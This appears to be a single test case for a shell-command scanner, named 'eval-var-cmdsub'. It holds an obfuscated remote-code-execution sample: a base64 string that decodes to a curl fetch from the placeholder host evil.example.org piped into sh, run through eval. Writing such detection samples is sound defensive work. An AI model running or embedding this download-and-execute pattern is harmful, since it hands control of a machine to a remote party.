eval-var-cmdsub

name	eval-var-cmdsub
description	obfuscated RCE via command-substitution base64 decode into var, eval var

X=$(echo Y3VybCAtc0wgaHR0cHM6Ly9ldmlsLmV4YW1wbGUub3JnL3AuU2h8Yzh8c2g= | base64 -d)
eval "$X"